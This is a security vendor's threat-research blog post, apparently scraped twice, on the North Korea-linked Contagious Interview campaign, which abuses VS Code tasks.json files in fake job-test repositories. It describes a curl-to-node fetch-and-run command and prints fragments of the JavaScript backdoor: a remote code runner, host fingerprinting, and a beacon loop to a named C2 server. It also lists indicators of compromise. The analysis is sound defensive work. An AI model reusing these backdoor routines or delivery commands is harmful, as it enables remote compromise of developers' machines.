Threat actors expand abuse of Microsoft Visual Studio Code
Recorded: Jan. 22, 2026, 11:03 a.m.
| Original | Summarized |
Threat Actors Expand Abuse of Microsoft Visual Studio Code Skip to main content Site Search English Jamf Home Toggle Navigation Why Jamf Why Jamf Learn More Solutions
Solutions Why Jamf Learn More Solutions
Products Products Learn More Pricing Pricing Pricing options Try or buy Resources Resources View Resources Partners Partners Learn More For partners Explore more Become a partner Explore more Start Trial Contact Start Trial Contact Jamf Home BlogThreat Actors Expand Abuse of Microsoft Visual Studio Code Start Trial Threat Actors Expand Abuse of Microsoft Visual Studio Code Jamf Threat Labs identifies additional abuse of Visual Studio Code. See the latest evolution in the Contagious Interview campaign. January 20 2026 by Jamf Threat Labs By Thijs Xhaflaire Introduction At the end of last year, Jamf Threat Labs published research related to the Contagious Interview campaign, which has been attributed to a threat actor operating on behalf of North Korea (DPRK). Around the same time, researchers from OpenSourceMalware (OSM) released additional findings that highlighted an evolution in the techniques used during earlier stages of the campaign. Specifically, these newer observations highlight an additional delivery technique alongside the previously documented ClickFix-based techniques. In these cases, the infection chain abuses Microsoft Visual Studio Code task configuration files, allowing malicious payloads to be executed on the victim system. Following the discovery of this technique, both Jamf Threat Labs and OSM continued to closely monitor activity associated with the campaign. In December, Jamf Threat Labs identified additional abuse of Visual Studio Code tasks.json configuration files. This included the introduction of dictionary files containing heavily obfuscated JavaScript, which is executed when a victim opens a malicious repository in Visual Studio Code. Jamf Threat Labs shared these findings with OSM, who subsequently published a more in-depth technical analysis of the obfuscated JavaScript and its execution flow. Earlier this week, Jamf Threat Labs identified another evolution in the campaign, uncovering a previously undocumented infection method. This activity involved the deployment of a backdoor implant that provides remote code execution capabilities on the victim system. At a high level, the chain of events for the malware look like so: Throughout this blog post we will shed light on each of these steps. Initial Infection In this campaign, infection begins when a victim clones and opens a malicious Git repository, often under the pretext of a recruitment process or technical assignment. The repositories identified in this activity are hosted on either GitHub or GitLab and are opened using Visual Studio Code. When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system. On macOS systems, this results in the execution of a background shell command that uses nohup bash -c in combination with curl -s to retrieve a JavaScript payload remotely and pipe it directly into the Node.js runtime. This allows execution to continue independently if the Visual Studio Code process is terminated, while suppressing all command output. In observed cases, the JavaScript payload is hosted on vercel.app, a platform that has been increasingly used in recent DPRK-related activity following a move away from other hosting services, as previously documented by OpenSourceMalware. Jamf Threat Labs reported the identified malicious repository to GitHub, after which the repository was removed. While monitoring the activity prior to takedown, we observed the URL referenced within the repository change on multiple occasions. Notably, one of these changes occurred after the previously referenced payload hosting infrastructure was taken down by Vercel. The JavaScript Payload Once execution begins, the JavaScript payload implements the core backdoor logic observed in this activity. While the payload appears lengthy, a significant portion of the code consists of unused functions, redundant logic, and extraneous text that is never invoked during execution (SHA256: 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc). This additional code increases the size and complexity of the script without impacting its observed behavior. It is passed to the node executable as one large argument. Focusing on the functional components, the payload establishes a persistent execution loop that collects basic host information and communicates with a remote command-and-control (C2) server. Hard-coded identifiers are used to track individual infections and manage tasks from the server. Core backdoor functionality While the JavaScript payload contains a significant amount of unused code, the backdoor's core functionality is implemented through a small number of routines. These routines provide remote code execution, system fingerprinting, and persistent C2 communication. Remote code execution capability The payload includes a function that enables the execution of arbitrary JavaScript while the backdoor is active. At its core, this is the main functionality of this backdoor. function Hp(_0x2d7a84) { This function allows JavaScript code supplied as a string to be dynamically executed over the course of the backdoor lifecycle. By passing the requirefunction into the execution context, attacker-supplied code can import additional Node.js modules allowing additional arbitrary node functions to be executed. System fingerprinting and reconnaissance To profile the infected system, the backdoor collects a small set of host-level identifiers: function Mp() { This routine gathers the system hostname, MAC addresses from available network interfaces, and basic operating system details. These values provide a stable fingerprint that can be used to uniquely identify infected hosts and associate them with a specific campaign or operator session. In addition to local host identifiers, the backdoor attempts to determine the victim’s public-facing IP address by querying the external service ipify.org, a technique that has also been observed in prior DPRK-linked campaigns. Command-and-control beaconing and task execution Persistent communication with the C2 server is implemented through a polling routine that periodically sends host information and processes server responses. The beaconing logic is handled by the following function: async function jo() { if (_0x53639c.data.status === 'error') { setInterval(jo, 0x1388); This function periodically sends system fingerprinting data to a remote server and waits for a response. The beacon executes every five seconds, providing frequent interaction opportunities. The server response indicates successful connectivity and allows the backdoor to maintain an active session while awaiting tasking. Request: GET /api/errorMessage?sysInfo[hostname]=ManagedMachine2&sysInfo[macs][0]=9e:8f:cf:6c:04:5c&sysInfo[os]=Darwin+25.0.0+(darwin)&exceptionId=env19475&instanceId=414066c0-a6e8-4fcb-81bc-4ccf52f39999 HTTP/1.1 ----- Response: HTTP/1.1 200 OK {"status":"ok","message":"server connected", "instanceId":"414066c0-a6e8-4fcb-81bc-4ccf52f39999"} If the server response contains a specific status value, the contents of the response message are passed directly to the remote code execution routine, mentioned prior. Further Execution and Instructions While monitoring a compromised system, Jamf Threat Labs observed further JavaScript instructions being executed roughly eight minutes after the initial infection. The retrieved JavaScript went on to set up a very similar payload to the same C2 infrustructure. /opt/homebrew/Cellar/node/24.8.0/bin/node -e const { spawn, spawnSync } = require("child_process"); async function reportError(type, error) { const sysInfo = await getSystemInfo() Review of this retrieved payload yields a few interesting details... It beacons to the C2 server every 5 seconds, providing its system details and asks for further JavaScript instructions. It executes that additional JavaScript within a child process. It's capable of shutting itself and child processes down and cleaning up if asked to do so by the attacker. It has inline comments and phrasing that appear to be consistent with AI-assisted code generation. Conclusion This activity highlights the continued evolution of DPRK-linked threat actors, who consistently adapt their tooling and delivery mechanisms to integrate with legitimate developer workflows. The abuse of Visual Studio Code task configuration files and Node.js execution demonstrates how these techniques continue to evolve alongside commonly used development tools. Jamf Threat Labs will continue to track these developments as threat actors refine their tactics and explore new ways to deliver macOS malware. We strongly recommend that customers ensure Threat Prevention and Advanced Threat Controls are enabled and set to block mode in Jamf for Mac to remain protected against the techniques described in this research. Developers should remain cautious when interacting with third-party repositories, especially those shared directly or originating from unfamiliar sources. Before marking a repository as trusted in Visual Studio Code, it’s important to review its contents. Similarly, "npm install" should only be run on projects that have been vetted, with particular attention paid to package.json files, install scripts, and task configuration files to help avoid unintentionally executing malicious code. Indicators or Compromise Repository URL: https://github.com/CannonOps/backend/blob/dev/.vscode/tasks.json Dive into more Jamf Threat Labs research on our blog. Read More Tags: Jamf Threat Labs Share Share on Facebook Share on Twitter Share on LinkedIn Share via email Jamf English Jamf’s purpose is to simplify work by helping organizations manage and secure an Apple experience that end users love and organizations trust. Jamf is the only company in the world that provides a complete management and security solution for an Apple-first environment that is enterprise secure, consumer simple and protects personal privacy. Learn about Jamf. +1 612-605-6625 info@jamf.com Business Education Healthcare The Jamf platform AI Assistant Zero-touch deployment Mobile Device Management (MDM) App management Inventory management Self Service+ and Self Service Identity and access management Endpoint protection Threat prevention and remediation Content filtering and safe internet Zero Trust Network Access (ZTNA) Security visibility and compliance Business pricing Education pricing Jamf Support Premium Support Technical Support Desk Services Premium Services Jamf Services Policies Training Training Policies Resources Events Blog E-books Case Studies White Papers Jamf Threat Labs Partners For partners Become a partner Buy from a partner Marketplace Developers Products Jamf Pro Jamf Now Jamf School Jamf Connect Jamf Protect Jamf Safe Internet Jamf Executive Threat Protection Integrations Apple AWS Microsoft Okta About Leadership Contact News Press Releases Careers Events Investor Relations Media Kit Trust Center Corporate Responsibility Jamf Ventures Vulnerability Disclosure Program English All contents © copyright 2002-2026 Jamf. All rights reserved. Copyright YouTube Back to Top |
Threat Actors Expand Abuse of Microsoft Visual Studio Code Jamf Threat Labs identifies additional abuse of Visual Studio Code. See the latest evolution in the Contagious Interview campaign. January 20 2026 by By Thijs Xhaflaire Introduction At the end of last year, Jamf Threat Labs published research related to the Contagious Interview campaign, which has been attributed to a threat actor operating on behalf of North Korea (DPRK). Around the same time, researchers from OpenSourceMalware (OSM) released additional findings that highlighted an evolution in the techniques used during earlier stages of the campaign. Specifically, these newer observations highlight an additional delivery technique alongside the previously documented ClickFix-based techniques. In these cases, the infection chain abuses Microsoft Visual Studio Code to deliver malicious payloads. Following the discovery of this technique, both Jamf Threat Labs and OSM continued to closely monitor activity associated with the campaign. In December, Jamf Threat Labs identified additional abuse of Visual Studio Code tasks.json configuration files. This included the introduction of dictionary files containing heavily obfuscated JavaScript, which is executed when a victim opens a malicious repository in Visual Studio Code. Jamf Threat Labs shared these findings with OSM, who subsequently published a more in-depth technical analysis of the obfuscated JavaScript and its execution flow. Earlier this week, Jamf Threat Labs identified another evolution in the campaign, uncovering a previously undocumented infection method. This activity involved the deployment of a backdoor implant that provides remote code execution capabilities on the victim system. At a high level, the chain of events for the malware look like so: Throughout this blog post we will shed light on each of these steps. Initial Infection In this campaign, infection begins when a victim clones and opens a malicious Git repository, often under the pretext of a recruitment process or technical assignment. The repositories identified in this activity are hosted on either GitHub or GitLab and are opened using Visual Studio Code. When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system. On macOS systems, this results in the execution of a background shell command that uses nohup bash -c in combination with curl -s to retrieve a JavaScript payload remotely and pipe it directly into the Node.js runtime. This allows execution to continue independently if the Visual Studio Code process is terminated, while suppressing all command output. In observed cases, the JavaScript payload is hosted on vercel.app, a platform that has been increasingly used in recent DPRK-related activity following a move away from other hosting services, as previously documented by OpenSourceMalware. Jamf Threat Labs reported the identified malicious repository to GitHub, after which the repository was removed. While monitoring the activity prior to takedown, we observed the URL referenced within the repository change on multiple occasions. Notably, one of these changes occurred after the previously referenced payload hosting infrastructure was taken down by Vercel. The JavaScript Payload Once execution begins, the JavaScript payload implements the core backdoor logic observed in this activity. While the payload appears lengthy, a significant portion of the code consists of unused functions, redundant logic, and extraneous text that is never invoked during execution (SHA256: 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc). This additional code increases the size and complexity of the script without impacting its observed behavior. It is passed to the node executable as one large argument. Focusing on the functional components, the payload establishes a persistent execution loop that collects basic host information and communicates with a remote command-and-control (C2) server. Hard-coded identifiers are used to track individual infections and manage tasks from the server. Core backdoor functionality While the JavaScript payload contains a significant amount of unused code, the backdoor's core functionality is implemented through a small number of routines. These routines provide remote code execution, system fingerprinting, and persistent C2 communication. Remote code execution capability The payload includes a function that enables the execution of arbitrary JavaScript while the backdoor is active. At its core, this is the main functionality of this backdoor. Function Hp(_0x2d7a84) { try { return new Function('require', _0x2d7a84)(require); } catch {} } This function allows JavaScript code supplied as a string to be dynamically executed over the course of the backdoor lifecycle. By passing the requirefunction into the execution context, attacker-supplied code can import additional Node.js modules allowing additional arbitrary node functions to be executed. System fingerprinting and reconnaissance To profile the infected system, the backdoor collects a small set of host-level identifiers: Function Mp() { return { hostname: _0x2b1193, macs: _0x56ed9b, os: _0x1ac0fe + " " + _0x35b84f + " (" + _0x3fea09 + ")" } } In addition to local host identifiers, the backdoor attempts to determine the victim’s public-facing IP address by querying the external service ipify.org, a technique that has also been observed in prior DPRK-linked campaigns. Command-and-control beaconing and task execution Persistent communication with the C2 server is implemented through a polling routine that periodically sends host information and processes server responses. The beaconing logic is handled by the following function: Async Jo() { Let _0x53639c = Await Ip.Get('Http://87.236.177.9:3000/Api/Error Message' , { params: { sysInfo: _0x358fa0, exceptionId: 'env19475', instanceId: So } }); If (_0x53639c.Data.Status === 'Error') { Hp(_0x53639c.Data.Message || "Unknown error"); } } This function periodically sends host information to a remote server and waits for a response. The beacon executes every five seconds, providing frequent interaction opportunities. Request: GET /api/errorMessage?sysInfo[hostname]=ManagedMachine2&sysInfo[macs][0]=9e:8f:cf:6c:04:5c&sysInfo[os]=Darwin+25.0.0+(darwin)&exceptionId=env19475&instanceId=414066c0-a6e8-4fcb-81bc-4ccf52f39999 HTTP/1.1 Host: 87.236.177.9:3000 User-Agent: axios/1.13.2 Accept: application/json Connection: keep-alive ----- Response: HTTP/1.1 200 OK Content-Type: application/json Connection: timeout=5 {"status":"ok","message":"server connected", "instanceId":"414066c0-a6e8-4fcb-81bc-4ccf52f39999"} Further Execution and Instructions Review of this retrieved payload yields a few interesting details... It beacons to the C2 server every 5 seconds, providing its system details and asks for further JavaScript instructions. It executes that additional JavaScript within a child process. It's capable of shutting itself and child processes down and cleaning up if asked to do so by the attacker. It has inline comments and phrasing that appear to be consistent with AI-assisted code generation. Conclusion This activity highlights the continued evolution of DPRK-linked threat actors, who consistently adapt their tooling and delivery mechanisms to integrate with legitimate developer workflows. The abuse of Visual Studio Code task configuration files and Node.js execution demonstrates how these techniques continue to evolve alongside commonly used development tools. Jamf Threat Labs will continue to track these developments as threat actors refine their tactics and explore new ways to deliver macOS malware. We strongly recommend that customers ensure Threat Prevention and Advanced Threat Controls are enabled and set to block mode in Jamf for Mac to remain protected against the techniques described in this research. Developers should remain cautious when interacting with third-party repositories, especially those shared directly or originating from unfamiliar sources. Before marking a repository as trusted in Visual Studio Code, it’s important to review its contents. Similarly, "npm install" should only be run on projects that have been vetted, with particular attention paid to package.json files, install scripts, and task configuration files to help avoid unintentionally executing malicious code. Indicators or Compromise Repository URL: https://github.com/CannonOps/backend/blob/dev/.vscode/tasks.json Repository URL: https://github.com/CannonOps/frontend-website/blob/dev/.vscode/tasks.json Malicious Vercel URL: https://edgeauth.vercel.app/api/getMoralisData?token=Z4T9QH Malicious Vercel URL: https://moralmetrics.vercel.app/api/getMoralisData?token=Z4T9QH C2 IP: 87.236.177.9:3000 C2 DNS: srv37746.hosted-by-eurohoster.org Javascript Payload SHA256: 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc Javascript Payloads sharing similarities: SHA256: 67c05c1624a227959728e960e4563435db2519a24a46e95207a42ea8d4307e2d SHA256: f8ae6ae9d6a13a8dddb05975930161601b5cfdd0cec30b7efdc5ba0606774998 SHA256: 71d8a974548e4e152e2c818d1febb7862632c1f9bff6adaa731bbaf6b23bd4b9 SHA256: 1b26f73fa88f8c3b17adf6db12ec674481db1f92eb04806815b8fbd6086f07ef SHA256: a2194390105731ce33cb9a51011c42a39a440942e907099f072916a36f17ef4b Dive into more Jamf Threat Labs research on our blog. Tag s: Jamf Threat Labs Share on Facebook Share on Twitter Share on LinkedIn Share via email Indicators of Compromise: Repository URL: https://github.com/CannonOps/backend/blob/dev/.vscode/tasks.json Repository URL: https://github.com/CannonOps/frontend-website/blob/dev/.vscode/tasks.json Malicious Vercel URL: https://edgeauth.vercel.app/api/getMoralisData?token=Z4T9QH Malicious Vercel URL: https://moralmetrics.vercel.app/api/getMoralisData?token=Z4T9QH C2 IP: 87.236.177.9:3000 C2 DNS: srv37746.hosted-by-eurohoster.org Javascript Payload SHA256: 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc Javascript Payloads sharing similarities: SHA256: 67c05c1624a227959728e960e4563435db2519a24a46e95207a42ea8d4307e2d SHA256: f8ae6ae9d6a13a8dddb05975930161601b5cfdd0cec30b7efdc5ba0606774998 SHA256: 71d8a974548e4e152e2c818d1febb7862632c1f9bff6adaa731bbaf6b23bd4b9 SHA256: 1b26f73fa88f8c3b17adf6db12ec674481db1f92eb04806815b8fbd6086f07ef SHA256: a2194390105731ce33cb9a51011c42a39a440942e907099f072916a36f17ef4b Contact: |